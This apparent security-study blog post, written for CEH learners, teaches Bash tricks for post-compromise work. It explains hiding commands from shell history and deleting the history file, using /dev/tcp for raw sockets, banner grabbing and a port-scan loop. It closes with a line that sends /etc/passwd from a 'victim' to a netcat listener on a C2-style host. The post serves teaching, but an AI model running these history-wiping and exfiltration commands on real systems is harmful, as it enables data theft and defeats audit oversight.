Fun with Shells

post-thumb

Fun with Shells

This is part of a series of articles meant to guide newcomers and professionals alike on important security topics, and sometimes questions from certifications like CEH will be used as the initial instigator to the article. Topics vary from the very basic to the really advanced stuff.

We are in no way associated with EC Council or any other group or company, and the only purpose of this series is to sum up our study group learnings.

A shell is basically the command line interface you are likely to use on a daily basis on a Unix-based operating system. It’s nothing more than an user interface where you can type commands using a well-known syntax.

We approach more advanced subjects that assume you know your way around. If that is not the case or if you want to learn about shell in-depth, I highly recommend Aurelio Jargas’ book on the matter.

Covering Tracks

So you popped a shell. Nice! First thing you should do is ensure your steps aren’t being monitored.

Keep in mind this section is only about Shell, and doesn’t cover things like auditd and other auditing systems. Don’t risk your life only on that! Still, it’s a useful knowledge for quick stuff.

All I need is a little space

Suppose you don’t want to disable logging for an entire session. You only want that nasty little command of yours to go unnoticed, but it’s ok to leave other commands (or even preferable, in case you want to hide in plain sight).

For this to work you need to understand the functioning of a internal variable called HISTCONTROL .

According to the Bash manpage:

HISTCONTROL  
	A  colon-separated  list  of values controlling how commands are saved on the history list.   If  the  list  of  values  includes ignorespace,  lines  which  begin with a space character are not saved in the history list.  A value of ignoredups  causes  lines matching the previous history entry to not be saved.  A value of ignoreboth is shorthand for ignorespace and ignoredups.  A value of erasedups causes all previous lines matching the current line to be removed from the history list before that line  is  saved.  
	Any  value  not in the above list is ignored.  If HISTCONTROL is unset, or does not include a valid value, all lines read by  the shell parser are saved on the history list, subject to the value of HISTIGNORE.  The second and subsequent lines of a  multi-line compound  command  are  not tested, and are added to the history regardless of the value of HISTCONTROL.

TL;DR: if HISTCONTROLis set to ignoreboth (the default) or ignorespace , any command starting with a whitespace will not be registered. So instead of “passwd root”, you can use “ passwd root” (notice the space prefix) and the command will not be logged.

Now this isn’t very reliable, so keep going.

$ 100 bucks say you will forget that mysql command, uh?

You can instruct Bash to ignore commands that contain certain strings. This is more useful if you usually type things like passwords on your command line (STOP DOING THAT) and you don’t want those logged. Now, don’t put your password in there, silly. Use the command that usually accompanies it, like mysql or something.

According to the Bash manpage:

HISTIGNORE  
	A colon-separated list of patterns used to decide which  command lines  should  be  saved  on  the history list.  Each pattern is anchored at the beginning of the line and must  match  the  complete  line  (no  implicit  \`\*'  is  appended).  Each pattern is tested against the line after the checks specified  by  HISTCONTROL  are  applied. In  addition  to  the normal shell pattern matching characters, \`&' matches the previous history line.\`&' may  be  escaped  using  a  backslash;  the backslash is removed before attempting a match.  The second and subsequent lines of a  multi-line compound command are not tested, and are added to the  history regardless of the value of HISTIGNORE.

So, to ignore all commands starting with mysql, you can use:

export HISTIGNORE="mysql\*"

Send the history into oblivion

In Bash, the history is logged at the end of session. This means that you can do cool stuff like saying to Bash to log that session into the void.

According to the Bash manpage:

HISTFILE  
	The name of the file in which command history is saved (see HISTORY below).   The default value is ~/.bash\_history.  If unset, the command history is not saved when a shell exits.

So, by using one of the lines below, you can get rid of that pesky history. Just remember to do it before you logout (preferably immediately after you logged in).

$ export HISTFILE=/dev/nullor$ unset HISTFILE

You can also use HISTSIZE for that.

According to the Bash manpage:

HISTSIZE  
	The number of commands to remember in the command  history  (see HISTORY  below).   If  the value is 0, commands are not saved in the history list.  Numeric values less than zero result in every command  being  saved  on  the history list (there is no limit).  
	The shell sets the  default  value  to  500  after  reading  any startup files.

Meaning that would also work:

$ export HISTSIZE=0

Afraid that your nasty secrets were already logged? Make a dramatic exit. Just remember dramatic exits make noise, meaning it’ll be clear someone erased the history. And of course, this won’t erase logs sent to a logging service.

$ rm -f $HISTFILE && unset HISTFILE && exit

There will be additional content on erasing tracks on the future, not just on Bash. For now, checkout the Additional Reading section at the end of the article.

Socket Fun

Suppose you are on an extremely restricted environment and want to open a connection to the outside. The firewall isn’t restricting outgoing connections, but you don’t have access to anything like netcat, curl or wget.

You may be lucky if you find yourself in this scenario but the shell you are using is bash compiled with --enable-net-redirections , which is the default in many recent distributions.

Basically, this is the syntax:

exec {file descriptor}<>/dev/{protocol}/{host}/{port}

A file descriptor is an abstract indicator used to access an I/O resource, such as a pipe or a network socket.

It must also be a non-negative number (because 0 is allowed), and in our particular case, must be equal to or greater than 3, because we already have 0 (stdin), 1 (stdout) and 2 (stderr) reserved.

Let’s look into some examples.

GET a remote page

$ exec **3**<>/dev/**tcp**/**example.com**/**80**  
$ echo -e "GET / HTTP/1.1\\r\\nHost: **example.com**\\r\\nConnection: close\\r\\n\\r\\n" >&**3**  
$ cat <&**3**

The first line opens a bidirectional (because of the <>) TCP socket to example.com at port 80/TCP.

The second line issues a GET command from the HTTP protocol, effectively fetching the page. The command is then sent to the file descriptor 3 that we opened on the first line.

The third line reads back from the socket, printing the contents of http://example.com.

Display a SSH server version

Using this socket, you can get the version of a SSH server running somewhere else. This happens because, upon completing a TCP handshake, the SSH server sends to the client a banner containing it’s version.

$ exec **3**</dev/**tcp**/**10.23.55.1**/**22**  
$ timeout 1 cat <&**3**

The first line was already explained. The second line is the same as the cat command on the previous example, except this time it contains a timeout of 1 second. This is because the connection on this case is never closed, so the cat would never return as it would think there was still data to receive. Keep in mind though that this timeout only applies if the connection is successful, it will not timeout if the connection never finishes, instead the default timeout of 60 seconds will be used.

On the GET example this doesn’t happen because of the Connection HTTP header which was set to close, instructing the remote server to just sent the requested page and hang up the connection.

In case you want a one-liner:

$ timeout 1 cat </dev/tcp/**10.23.55.1**/22

In this case, no file descriptor is created because we are immediately using the socket.

Testing whether a connection is successful

Using the return code, you can determine if a connection was successful (i.e. the port is open)

#!/bin/bash
(echo >/dev/tcp/example.com/80) &>/dev/null

if \[ $? -eq 0 \]; then  
	echo "Connection successful"  
else  
    echo "Connection failed"  
fi

You can do this on one line also.

echo >/dev/tcp/example.com/80 && echo "Connection successful" || echo "Connection failed"

Port Scanning

In case you don’t have something like nmap nor do you have a proper compiler or interpreter to write your own port scanning code, this can get you off the hook.

#!/bin/bash

for ((port=1; port<=65535; port++)); do  
	(echo >/dev/tcp/$host/$port) &>/dev/null && echo "$port open" || echo "$port closed"  
done

This will take sometime (specially because closed ports will take a long time to time out), but will work. Try restricting it to ports that really matter to you.

More Fun

Remember how you can set netcat to listen on a specific port? ;)

# On your machine  
$ nc -l -p 666\# On the victim machine  
$ cat /etc/passwd >/dev/tcp/cnc.hyades.io/666

Additional Reading

https://jvns.ca/blog/2017/03/26/bash-quirks/

http://tldp.org/LDP/abs/html/sha-bang.html

Sources

http://xmodulo.com/tcp-udp-socket-bash-shell.html